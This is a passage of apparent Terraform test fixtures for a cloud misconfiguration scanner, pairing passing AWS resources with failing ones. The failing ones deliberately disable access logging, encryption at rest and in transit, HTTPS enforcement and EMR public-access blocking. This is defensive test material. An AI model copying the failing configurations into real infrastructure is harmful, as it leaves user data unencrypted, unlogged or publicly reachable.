    "content": "# pass\n\nresource \"aws_lb\" \"enabled\" {\n  load_balancer_type = \"network\"\n  name               = \"nlb\"\n  subnets            = var.public_subnet_ids\n\n  access_logs {\n    bucket  = var.bucket_name\n    enabled = true\n  }\n}\n\nresource \"aws_alb\" \"enabled\" {\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n\n  access_logs {\n    bucket  = var.bucket_name\n    enabled = true\n  }\n}\n\n# failure\n\nresource \"aws_lb\" \"default\" {\n  load_balancer_type = \"network\"\n  name               = \"nlb\"\n  subnets            = var.public_subnet_ids\n}\n\nresource \"aws_alb\" \"default\" {\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n}\n\nresource \"aws_lb\" \"only_bucket\" {\n  load_balancer_type = \"network\"\n  name               = \"nlb\"\n  subnets            = var.public_subnet_ids\n\n  access_logs {\n    bucket = var.bucket_name\n  }\n}\n\nresource \"aws_alb\" \"only_bucket\" {\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n\n  access_logs {\n    bucket = var.bucket_name\n  }\n}\n\nresource \"aws_lb\" \"disabled\" {\n  load_balancer_type = \"network\"\n  name               = \"nlb\"\n  subnets            = var.public_subnet_ids\n\n  access_logs {\n    bucket  = var.bucket_name\n    enabled = false\n  }\n}\n\nresource \"aws_alb\" \"disabled\" {\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n\n  access_logs {\n    bucket  = var.bucket_name\n    enabled = false\n  }\n}\n\n# unknown\n\nresource \"aws_lb\" \"gateway\" {\n  name               = \"glb\"\n  load_balancer_type = \"gateway\"\n\n  subnet_mapping {\n    subnet_id = var.subnet_id\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ELBwListenerNotTLSSSL/main.tf",
    "content": "# Fail: 1 bad, 1 good\nresource \"aws_elb\" \"fail\" {\n  name               = \"foobar-terraform-elb\"\n  availability_zones = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n\n  listener {\n    instance_port     = 8000\n    instance_protocol = \"http\"\n    lb_port           = 80\n    lb_protocol       = \"http\"\n  }\n\n  listener {\n    instance_port      = 8000\n    instance_protocol  = \"http\"\n    lb_port            = 443\n    lb_protocol        = \"https\"\n    ssl_certificate_id = \"foo\"\n  }\n\n  health_check {\n    healthy_threshold   = 2\n    unhealthy_threshold = 2\n    timeout             = 3\n    target              = \"HTTP:8000/\"\n    interval            = 30\n  }\n\n  instances                   = [aws_instance.foo.id]\n  cross_zone_load_balancing   = true\n  idle_timeout                = 400\n  connection_draining         = true\n  connection_draining_timeout = 400\n}\n\n# Fail: 1 has cert, 1 doesn't\nresource \"aws_elb\" \"fail2\" {\n  name               = \"foobar-terraform-elb\"\n  availability_zones = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n\n  listener {\n    instance_port     = 8000\n    instance_protocol = \"http\"\n    lb_port           = 80\n    lb_protocol       = \"https\"\n    ssl_certificate_id = \"foo\"\n  }\n\n  listener {\n    instance_port      = 8000\n    instance_protocol  = \"http\"\n    lb_port            = 443\n    lb_protocol        = \"https\"\n    ssl_certificate_id = \"\"\n  }\n\n  health_check {\n    healthy_threshold   = 2\n    unhealthy_threshold = 2\n    timeout             = 3\n    target              = \"HTTP:8000/\"\n    interval            = 30\n  }\n\n  instances                   = [aws_instance.foo.id]\n  cross_zone_load_balancing   = true\n  idle_timeout                = 400\n  connection_draining         = true\n  connection_draining_timeout = 400\n}\n\n# Fail: 1 has cert, 1 doesn't\nresource \"aws_elb\" \"fail3\" {\n  name               = \"foobar-terraform-elb\"\n  availability_zones = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n\n  listener {\n    instance_port     = 8000\n    instance_protocol = \"http\"\n    lb_port           = 80\n    lb_protocol       = \"https\"\n    ssl_certificate_id = \"foo\"\n  }\n\n  listener {\n    instance_port      = 8000\n    instance_protocol  = \"http\"\n    lb_port            = 443\n    lb_protocol        = \"https\"\n  }\n\n  health_check {\n    healthy_threshold   = 2\n    unhealthy_threshold = 2\n    timeout             = 3\n    target              = \"HTTP:8000/\"\n    interval            = 30\n  }\n\n  instances                   = [aws_instance.foo.id]\n  cross_zone_load_balancing   = true\n  idle_timeout                = 400\n  connection_draining         = true\n  connection_draining_timeout = 400\n}\n\n# Pass: SSL and has cert\nresource \"aws_elb\" \"pass\" {\n  name               = \"foobar-terraform-elb\"\n  availability_zones = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n\n  listener {\n    instance_port     = 8000\n    instance_protocol = \"SSL\"\n    lb_port           = 80\n    lb_protocol       = \"https\"\n    ssl_certificate_id = \"foo\"\n  }\n\n  health_check {\n    healthy_threshold   = 2\n    unhealthy_threshold = 2\n    timeout             = 3\n    target              = \"HTTP:8000/\"\n    interval            = 30\n  }\n\n  instances                   = [aws_instance.foo.id]\n  cross_zone_load_balancing   = true\n  idle_timeout                = 400\n  connection_draining         = true\n  connection_draining_timeout = 400\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EMRClusterConfEncryptsEBS/main.tf",
    "content": "resource \"aws_emr_security_configuration\" \"pass\" {\n  name = \"emrsc_other\"\n\n  configuration = <<EOF\n{\n  \"EncryptionConfiguration\": {\n    \"AtRestEncryptionConfiguration\": {\n      \"S3EncryptionConfiguration\": {\n        \"EncryptionMode\": \"SSE-S3\"\n      },\n      \"LocalDiskEncryptionConfiguration\": {\n        \"EnableEbsEncryption\": true,\n        \"EncryptionKeyProviderType\": \"AwsKms\",\n        \"AwsKmsKey\": \"arn:aws:kms:eu-west-2:680235478471:key/27b6fd31-ca6d-4c71-8dca-06ebd0f94174\"\n      }\n    },\n    \"EnableInTransitEncryption\": false,\n    \"EnableAtRestEncryption\": true\n  }\n}\nEOF\n}\n\nresource \"aws_emr_security_configuration\" \"fail\" {\n  name = \"emrsc_other\"\n\n  configuration = <<EOF\n{\n  \"EncryptionConfiguration\": {\n    \"AtRestEncryptionConfiguration\": {\n      \"S3EncryptionConfiguration\": {\n        \"EncryptionMode\": \"SSE-S3\"\n      }\n    },\n    \"EnableInTransitEncryption\": false,\n    \"EnableAtRestEncryption\": true\n  }\n}\nEOF\n}\n\n\nresource \"aws_emr_security_configuration\" \"fail2\" {\n  name = \"emrsc_other\"\n\n  configuration = <<EOF\n{\n  \"EncryptionConfiguration\": {\n    \"EnableInTransitEncryption\": false,\n    \"EnableAtRestEncryption\": false\n  }\n}\nEOF\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EMRClusterConfEncryptsInTransit/main.tf",
    "content": "resource \"aws_emr_security_configuration\" \"pass\" {\n  name = \"emrsc_other\"\n\n  configuration = <<EOF\n{\n  \"EncryptionConfiguration\": {\n    \"AtRestEncryptionConfiguration\": {\n      \"S3EncryptionConfiguration\": {\n        \"EncryptionMode\": \"SSE-S3\"\n      },\n      \"LocalDiskEncryptionConfiguration\": {\n        \"EnableEbsEncryption\": true,\n        \"EncryptionKeyProviderType\": \"AwsKms\",\n        \"AwsKmsKey\": \"arn:aws:kms:eu-west-2:680235478471:key/27b6fd31-ca6d-4c71-8dca-06ebd0f94174\"\n      }\n    },\n    \"EnableInTransitEncryption\": true,\n    \"EnableAtRestEncryption\": true\n  }\n}\nEOF\n}\n\nresource \"aws_emr_security_configuration\" \"fail\" {\n  name = \"emrsc_other\"\n\n  configuration = <<EOF\n{\n  \"EncryptionConfiguration\": {\n    \"AtRestEncryptionConfiguration\": {\n      \"S3EncryptionConfiguration\": {\n        \"EncryptionMode\": \"SSE-S3\"\n      }\n    },\n    \"EnableInTransitEncryption\": false,\n    \"EnableAtRestEncryption\": true\n  }\n}\nEOF\n}\n\n\nresource \"aws_emr_security_configuration\" \"fail2\" {\n  name = \"emrsc_other\"\n\n  configuration = <<EOF\n{\n  \"EncryptionConfiguration\": {\n    \"EnableAtRestEncryption\": false\n  }\n}\nEOF\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EMRClusterConfEncryptsLocalDisk/main.tf",
    "content": "resource \"aws_emr_security_configuration\" \"pass\" {\n  name = \"emrsc_other\"\n\n  configuration = <<EOF\n{\n  \"EncryptionConfiguration\": {\n    \"AtRestEncryptionConfiguration\": {\n      \"S3EncryptionConfiguration\": {\n        \"EncryptionMode\": \"SSE-S3\"\n      },\n      \"LocalDiskEncryptionConfiguration\": {\n        \"EnableEbsEncryption\": true,\n        \"EncryptionKeyProviderType\": \"AwsKms\",\n        \"AwsKmsKey\": \"arn:aws:kms:eu-west-2:680235478471:key/27b6fd31-ca6d-4c71-8dca-06ebd0f94174\"\n      }\n    },\n    \"EnableInTransitEncryption\": false,\n    \"EnableAtRestEncryption\": true\n  }\n}\nEOF\n}\n\nresource \"aws_emr_security_configuration\" \"fail\" {\n  name = \"emrsc_other\"\n\n  configuration = <<EOF\n{\n  \"EncryptionConfiguration\": {\n    \"AtRestEncryptionConfiguration\": {\n      \"S3EncryptionConfiguration\": {\n        \"EncryptionMode\": \"SSE-S3\"\n      }\n    },\n    \"EnableInTransitEncryption\": false,\n    \"EnableAtRestEncryption\": true\n  }\n}\nEOF\n}\n\n\nresource \"aws_emr_security_configuration\" \"fail2\" {\n  name = \"emrsc_other\"\n\n  configuration = <<EOF\n{\n  \"EncryptionConfiguration\": {\n    \"EnableInTransitEncryption\": false,\n    \"EnableAtRestEncryption\": false\n  }\n}\nEOF\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EMRClusterIsEncryptedKMS/main.tf",
    "content": "resource \"aws_emr_security_configuration\" \"fail\" {\n  name = \"fail\"\n\n  configuration = <<EOF\n{\n  \"EncryptionConfiguration\": {\n    \"EnableAtRestEncryption\": true,\n    \"AtRestEncryptionConfiguration\": {\n      \"S3EncryptionConfiguration\": {\n        \"EncryptionMode\": \"SSE-S3\"\n      },\n      \"LocalDiskEncryptionConfiguration\": {\n        \"EncryptionKeyProviderType\": \"AwsS3\"\n      }\n    }\n  }\n}\nEOF\n}\n\n\nresource \"aws_emr_security_configuration\" \"pass\" {\n  name = \"pass\"\n\n  configuration = <<EOF\n{\n  \"EncryptionConfiguration\": {\n    \"EnableAtRestEncryption\": true,\n    \"AtRestEncryptionConfiguration\": {\n      \"S3EncryptionConfiguration\": {\n        \"EncryptionMode\": \"SSE-KMS\",\n        \"AwsKmsKey\": \"${module.encryption_module.kms_key_alias}\"\n      },\n      \"LocalDiskEncryptionConfiguration\": {\n        \"EncryptionKeyProviderType\": \"AwsKms\",\n        \"AwsKmsKey\": \"${module.encryption_module.kms_key_alias}\"\n      }\n    },\n    \"EnableInTransitEncryption\": true\n  }\n}\nEOF\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_EMRPubliclyAccessible/main.tf",
    "content": "\nresource \"aws_emr_block_public_access_configuration\" \"fail\" {\n  block_public_security_group_rules = false\n}\n\nresource \"aws_emr_block_public_access_configuration\" \"pass\" {\n  block_public_security_group_rules = true\n  permitted_public_security_group_rule_range {\n    min_range = 22\n    max_range = 22\n  }\n\n  permitted_public_security_group_rule_range {\n    min_range = 100\n    max_range = 101\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_Ec2TransitGatewayAutoAccept/main.tf",
    "content": "resource \"aws_ec2_transit_gateway\" \"pass\" {\n  description = \"pike\"\n}\n\nresource \"aws_ec2_transit_gateway\" \"pass2\" {\n  description = \"sato\"\n  auto_accept_shared_attachments = \"disable\"\n}\n\nresource \"aws_ec2_transit_gateway\" \"fail\" {\n  description = \"sato\"\n  auto_accept_shared_attachments = \"enable\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElastiCacheHasCustomSubnet/main.tf",
    "content": "# pass\n\nresource \"aws_elasticache_cluster\" \"pass\" {\n  cluster_id           = \"cluster\"\n  engine               = \"redis\"\n  node_type            = \"cache.m5.large\"\n  num_cache_nodes      = 1\n  parameter_group_name = \"default.redis6.x\"\n  subnet_group_name    = \"mysubnet\"\n  snapshot_retention_limit = 5\n}\n\nresource \"aws_elasticache_cluster\" \"fail\" {\n  cluster_id           = \"cluster\"\n  engine               = \"redis\"\n  node_type            = \"cache.m5.large\"\n  num_cache_nodes      = 1\n  parameter_group_name = \"default.redis6.x\"\n  snapshot_retention_limit = 0\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticBeanstalkUseEnhancedHealthChecks/main.tf",
    "content": "resource \"aws_elastic_beanstalk_environment\" \"fail\" {\n  name                   = \"beany\"\n  application            = var.elastic_beanstalk_application_name\n  description            = var.description\n  tier                   = var.tier\n  solution_stack_name    = var.solution_stack_name\n  wait_for_ready_timeout = var.wait_for_ready_timeout\n  version_label          = var.version_label\n  tags                   = local.tags\n}\n\nresource \"aws_elastic_beanstalk_environment\" \"fail2\" {\n  name                   = \"beany\"\n  application            = var.elastic_beanstalk_application_name\n  description            = var.description\n  tier                   = var.tier\n  solution_stack_name    = var.solution_stack_name\n  wait_for_ready_timeout = var.wait_for_ready_timeout\n  version_label          = var.version_label\n  tags                   = local.tags\n  setting {\n    namespace = \"aws:elasticbeanstalk:healthreporting:system\"\n    name      = \"SystemType\"\n    value     = \"basic\"\n  }\n}\n\nresource \"aws_elastic_beanstalk_environment\" \"fail3\" {\n  name                   = \"beany\"\n  application            = var.elastic_beanstalk_application_name\n  description            = var.description\n  tier                   = var.tier\n  solution_stack_name    = var.solution_stack_name\n  wait_for_ready_timeout = var.wait_for_ready_timeout\n  version_label          = var.version_label\n  tags                   = local.tags\n  setting {\n    namespace = \"aws:elasticbeanstalk:healthreporting:system\"\n    name      = \"HealthStreamingEnabled\"\n    value     = \"False\"\n  }\n\n  setting {\n    namespace = \"guff\"\n    name      = \"SystemType\"\n    value     = \"basic\"\n  }\n}\n\nresource \"aws_elastic_beanstalk_environment\" \"fail4\" {\n  name                   = \"beany\"\n  application            = var.elastic_beanstalk_application_name\n  description            = var.description\n  tier                   = var.tier\n  solution_stack_name    = var.solution_stack_name\n  wait_for_ready_timeout = var.wait_for_ready_timeout\n  version_label          = var.version_label\n  tags                   = local.tags\n  setting {\n    namespace = \"aws:elasticbeanstalk:healthreporting:system\"\n    name      = \"HealthStreamingEnabled\"\n    resource  = \"\"\n    value     = \"\"\n  }\n}\n\n\nresource \"aws_elastic_beanstalk_environment\" \"pass\" {\n  name                   = \"beany\"\n  application            = var.elastic_beanstalk_application_name\n  description            = var.description\n  tier                   = var.tier\n  solution_stack_name    = var.solution_stack_name\n  wait_for_ready_timeout = var.wait_for_ready_timeout\n  version_label          = var.version_label\n  tags                   = local.tags\n  setting {\n    namespace = \"aws:elasticbeanstalk:healthreporting:system\"\n    name      = \"HealthStreamingEnabled\"\n    value     = \"true\"\n  }\n}\n\nresource \"aws_elastic_beanstalk_environment\" \"pass2\" {\n  name                   = \"beany\"\n  application            = var.elastic_beanstalk_application_name\n  description            = var.description\n  tier                   = var.tier\n  solution_stack_name    = var.solution_stack_name\n  wait_for_ready_timeout = var.wait_for_ready_timeout\n  version_label          = var.version_label\n  tags                   = local.tags\n  setting {\n    namespace = \"aws:elasticbeanstalk:healthreporting:system\"\n    name      = \"HealthStreamingEnabled\"\n    value     = true\n  }\n}\n\nlocals {\n  tags = {\n    pike = \"permissions\"\n  }\n}\n\nvariable \"version_label\" {\n  default = \"1.0\"\n}\n\nvariable \"wait_for_ready_timeout\" {\n  default = \"20m\"\n}\n\nvariable \"solution_stack_name\" {\n  default = \"64bit Amazon Linux 2015.03 v2.0.3 running Go 1.4\"\n}\n\nvariable \"tier\" {\n  default = \"WebServer\"\n}\n\nvariable \"description\" {\n  default = \"pike is permissions\"\n}\n\nvariable \"application\" {\n  default = \"random\"\n}\n\nvariable \"elastic_beanstalk_application_name\" {\n  default = \"sato\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticBeanstalkUseManagedUpdates/main.tf",
    "content": "resource \"aws_elastic_beanstalk_environment\" \"fail\" {\n  name                   = module.this.id\n  application            = var.elastic_beanstalk_application_name\n  description            = var.description\n  tier                   = var.tier\n  solution_stack_name    = var.solution_stack_name\n  wait_for_ready_timeout = var.wait_for_ready_timeout\n  version_label          = var.version_label\n  tags                   = local.tags\n}\n\nresource \"aws_elastic_beanstalk_environment\" \"fail2\" {\n  name                   = module.this.id\n  application            = var.elastic_beanstalk_application_name\n  description            = var.description\n  tier                   = var.tier\n  solution_stack_name    = var.solution_stack_name\n  wait_for_ready_timeout = var.wait_for_ready_timeout\n  version_label          = var.version_label\n  tags                   = local.tags\n  setting {\n    namespace = \"aws:elasticbeanstalk:managedactions\"\n    name      = \"ManagedActionsEnabled\"\n    value     = \"false\"\n  }\n}\n\n\nresource \"aws_elastic_beanstalk_environment\" \"pass\" {\n  name                   = module.this.id\n  application            = var.elastic_beanstalk_application_name\n  description            = var.description\n  tier                   = var.tier\n  solution_stack_name    = var.solution_stack_name\n  wait_for_ready_timeout = var.wait_for_ready_timeout\n  version_label          = var.version_label\n  tags                   = local.tags\n  setting {\n    namespace = \"aws:elasticbeanstalk:managedactions\"\n    name      = \"ManagedActionsEnabled\"\n    value     = \"true\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticCacheAutomaticBackup/main.tf",
    "content": "# pass\n\nresource \"aws_elasticache_cluster\" \"enabled\" {\n  cluster_id           = \"cluster\"\n  engine               = \"redis\"\n  node_type            = \"cache.m5.large\"\n  num_cache_nodes      = 1\n  parameter_group_name = \"default.redis6.x\"\n\n  snapshot_retention_limit = 5\n}\n\n# failure\n\nresource \"aws_elasticache_cluster\" \"default\" {\n  cluster_id           = \"cluster\"\n  engine               = \"redis\"\n  node_type            = \"cache.m5.large\"\n  num_cache_nodes      = 1\n  parameter_group_name = \"default.redis6.x\"\n}\n\nresource \"aws_elasticache_cluster\" \"disabled\" {\n  cluster_id           = \"cluster\"\n  engine               = \"redis\"\n  node_type            = \"cache.m5.large\"\n  num_cache_nodes      = 1\n  parameter_group_name = \"default.redis6.x\"\n\n  snapshot_retention_limit = 0\n}\n\n# unknown\n\nresource \"aws_elasticache_cluster\" \"memcached\" {\n  cluster_id           = \"cluster\"\n  engine               = \"memcached\"\n  node_type            = \"cache.m5.large\"\n  num_cache_nodes      = 1\n  parameter_group_name = \"default.memcached1.6 \"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticCacheAutomaticMinorUpgrades/main.tf",
    "content": "# pass\n\nresource \"aws_elasticache_cluster\" \"pass\" {\n  cluster_id           = \"cluster\"\n  engine               = \"redis\"\n  node_type            = \"cache.m5.large\"\n  num_cache_nodes      = 1\n  parameter_group_name = \"default.redis6.x\"\n  auto_minor_version_upgrade = true\n  snapshot_retention_limit = 5\n}\n\nresource \"aws_elasticache_cluster\" \"pass2\" {\n  cluster_id           = \"cluster\"\n  engine               = \"redis\"\n  node_type            = \"cache.m5.large\"\n  num_cache_nodes      = 1\n  parameter_group_name = \"default.redis6.x\"\n}\n\nresource \"aws_elasticache_cluster\" \"fail\" {\n  cluster_id           = \"cluster\"\n  engine               = \"redis\"\n  node_type            = \"cache.m5.large\"\n  num_cache_nodes      = 1\n  parameter_group_name = \"default.redis6.x\"\n  auto_minor_version_upgrade = false\n  snapshot_retention_limit = 0\n}\n\n# unknown\n\nresource \"aws_elasticache_cluster\" \"memcached\" {\n  cluster_id           = \"cluster\"\n  engine               = \"memcached\"\n  node_type            = \"cache.m5.large\"\n  num_cache_nodes      = 1\n  parameter_group_name = \"default.memcached1.6 \"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticacheHasSecurityGroup/main.tf",
    "content": "resource \"aws_elasticache_security_group\" \"exists\" {\n  name                 = \"elasticache-security-group\"\n  security_group_names = [aws_security_group.bar.name]\n}\n\nresource \"aws_security_group\" \"bar\" {\n  name = \"security-group\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticacheReplicationGroupEncryptedWithCMK/aws_elasticache_replication_group.tf",
    "content": "resource \"aws_elasticache_replication_group\" \"pass\" {\n  replication_group_id          = \"tf-%s\"\n  replication_group_description = \"test description\"\n  node_type                     = \"cache.t2.micro\"\n  number_cache_clusters         = \"1\"\n  port                          = 6379\n  subnet_group_name             = aws_elasticache_subnet_group.bar.name\n  security_group_ids            = [aws_security_group.bar.id]\n  parameter_group_name          = \"default.redis3.2\"\n  availability_zones            = [data.aws_availability_zones.available.names[0]]\n  engine_version                = \"3.2.6\"\n  at_rest_encryption_enabled    = true\n  kms_key_id                    = aws_kms_key.bar.arn\n}\n\nresource \"aws_elasticache_replication_group\" \"fail\" {\n  replication_group_id          = \"tf-%s\"\n  replication_group_description = \"test description\"\n  node_type                     = \"cache.t2.micro\"\n  number_cache_clusters         = \"1\"\n  port                          = 6379\n  subnet_group_name             = aws_elasticache_subnet_group.bar.name\n  security_group_ids            = [aws_security_group.bar.id]\n  parameter_group_name          = \"default.redis3.2\"\n  availability_zones            = [data.aws_availability_zones.available.names[0]]\n  engine_version                = \"3.2.6\"\n  at_rest_encryption_enabled    = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtTransitAuthToken/main.tf",
    "content": "resource \"aws_elasticache_replication_group\" \"pass\" {\n  automatic_failover_enabled    = true\n  replication_group_id          = \"tf-rep-group-1\"\n  node_type                     = \"cache.m4.large\"\n  parameter_group_name          = \"default.redis3.2\"\n  port                          = 6379\n  at_rest_encryption_enabled    = true\n  transit_encryption_enabled    = true\n  auth_token                    = var.auth_token\n}\n\nresource \"aws_elasticache_replication_group\" \"pass2\" {\n  replication_group_id = local.replication_group_id\n  description = \"Sample Redis replication group\"\n  engine = \"redis\"\n  transit_encryption_enabled = true\n  user_group_ids = [\n    \"sample-group-id\"\n  ]\n}\n\nresource \"aws_elasticache_replication_group\" \"fail\" {\n  automatic_failover_enabled    = true\n  replication_group_id          = \"tf-rep-group-2\"\n  node_type                     = \"cache.m4.large\"\n  parameter_group_name          = \"default.redis3.2\"\n  port                          = 6379\n  at_rest_encryption_enabled    = false\n  transit_encryption_enabled    = false\n}\n\nresource \"aws_elasticache_replication_group\" \"fail2\" {\n  automatic_failover_enabled    = true\n  replication_group_id          = \"tf-rep-group-2\"\n  node_type                     = \"cache.m4.large\"\n  parameter_group_name          = \"default.redis3.2\"\n  port                          = 6379\n  at_rest_encryption_enabled    = false\n  transit_encryption_enabled    = false\n  user_group_ids = [\n    \"sample-group-id\"\n  ]\n}\n\nresource \"aws_elasticache_replication_group\" \"fail3\" {\n  automatic_failover_enabled    = true\n  replication_group_id          = \"tf-rep-group-2\"\n  node_type                     = \"cache.m4.large\"\n  parameter_group_name          = \"default.redis3.2\"\n  port                          = 6379\n  at_rest_encryption_enabled    = false\n  transit_encryption_enabled    = true\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchDefaultSG/main.tf",
    "content": "resource \"aws_elasticsearch_domain\" \"pass\" {\n  domain_name           = \"example\"\n  elasticsearch_version = \"7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.elasticsearch\"\n  }\n\n  vpc_options {\n    security_group_ids = [\"sg_1234545\"]\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"fail\" {\n  domain_name           = \"example\"\n  elasticsearch_version = \"7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.elasticsearch\"\n  }\n\n  domain_endpoint_options {\n    enforce_https = true\n  }\n\n  vpc_options {\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchDefaultSG/opensearch.tf",
    "content": "resource \"aws_opensearch_domain\" \"pass\" {\n  domain_name    = \"example\"\n  engine_version = \"Elasticsearch_7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.search\"\n  }\n  encrypt_at_rest {\n    enabled = true\n  }\n\n  vpc_options {\n    security_group_ids = [\"sg_1234545\"]\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_opensearch_domain\" \"fail\" {\n  domain_name    = \"example\"\n  engine_version = \"Elasticsearch_7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.search\"\n  }\n\n  encrypt_at_rest {\n    enabled = false\n  }\n\n  vpc_options {\n\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchDomainAuditLogging/main.tf",
    "content": "resource \"aws_elasticsearch_domain\" \"fail\" {\n  domain_name           = \"example\"\n  elasticsearch_version = \"7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.elasticsearch\"\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"pass\" {\n  domain_name           = \"example\"\n  elasticsearch_version = \"7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.elasticsearch\"\n  }\n\n  log_publishing_options {\n    cloudwatch_log_group_arn = aws_cloudwatch_log_group.example.arn\n    log_type                 = \"AUDIT_LOGS\"\n    enabled = true\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_cloudwatch_log_group\" \"example\" {\n\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchDomainAuditLogging/opensearch.tf",
    "content": "resource \"aws_opensearch_domain\" \"fail\" {\n  domain_name    = \"example\"\n  engine_version = \"Elasticsearch_7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.search\"\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_opensearch_domain\" \"pass\" {\n  domain_name    = \"example\"\n  engine_version = \"Elasticsearch_7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.search\"\n  }\n\n  log_publishing_options {\n    cloudwatch_log_group_arn = aws_cloudwatch_log_group.example.arn\n    log_type                 = \"AUDIT_LOGS\"\n    enabled = true\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchDomainEnforceHTTPS/main.tf",
    "content": "resource \"aws_elasticsearch_domain\" \"pass\" {\n  domain_name           = \"example\"\n  elasticsearch_version = \"7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.elasticsearch\"\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"pass2\" {\n  domain_name           = \"example\"\n  elasticsearch_version = \"7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.elasticsearch\"\n  }\n  domain_endpoint_options {\n      enforce_https = true\n  }\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"fail\" {\n  domain_name           = \"example\"\n  elasticsearch_version = \"7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.elasticsearch\"\n  }\n  domain_endpoint_options {\n      enforce_https = false\n  }\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchDomainEnforceHTTPS/opensearch.tf",
    "content": "resource \"aws_opensearch_domain\" \"pass\" {\n  domain_name    = \"example\"\n  engine_version = \"Elasticsearch_7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.search\"\n  }\n    encrypt_at_rest {\n    enabled = true\n  }\n\n  domain_endpoint_options {\n    enforce_https=true\n  }\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_opensearch_domain\" \"fail\" {\n  domain_name    = \"example\"\n  engine_version = \"Elasticsearch_7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.search\"\n  }\n\n  domain_endpoint_options {\n    enforce_https=false\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_opensearch_domain\" \"pass2\" {\n  domain_name    = \"example\"\n  engine_version = \"Elasticsearch_7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.search\"\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchDomainHA/main.tf",
    "content": "resource \"aws_elasticsearch_domain\" \"fail\" {\n  domain_name           = \"example\"\n  elasticsearch_version = \"7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.elasticsearch\"\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"pass\" {\n  domain_name           = \"example\"\n  elasticsearch_version = \"7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.elasticsearch\"\n    dedicated_master_count = 3\n    zone_awareness_enabled=true\n  }\n\n  log_publishing_options {\n    cloudwatch_log_group_arn = aws_cloudwatch_log_group.example.arn\n    log_type                 = \"INDEX_SLOW_LOGS\"\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"fail2\" {\n  domain_name           = \"example\"\n  elasticsearch_version = \"7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.elasticsearch\"\n    dedicated_master_count = 3\n    zone_awareness_enabled = false\n  }\n\n  log_publishing_options {\n    cloudwatch_log_group_arn = aws_cloudwatch_log_group.example.arn\n    log_type                 = \"INDEX_SLOW_LOGS\"\n    enabled = false\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ElasticsearchDomainHA/opensearch.tf",
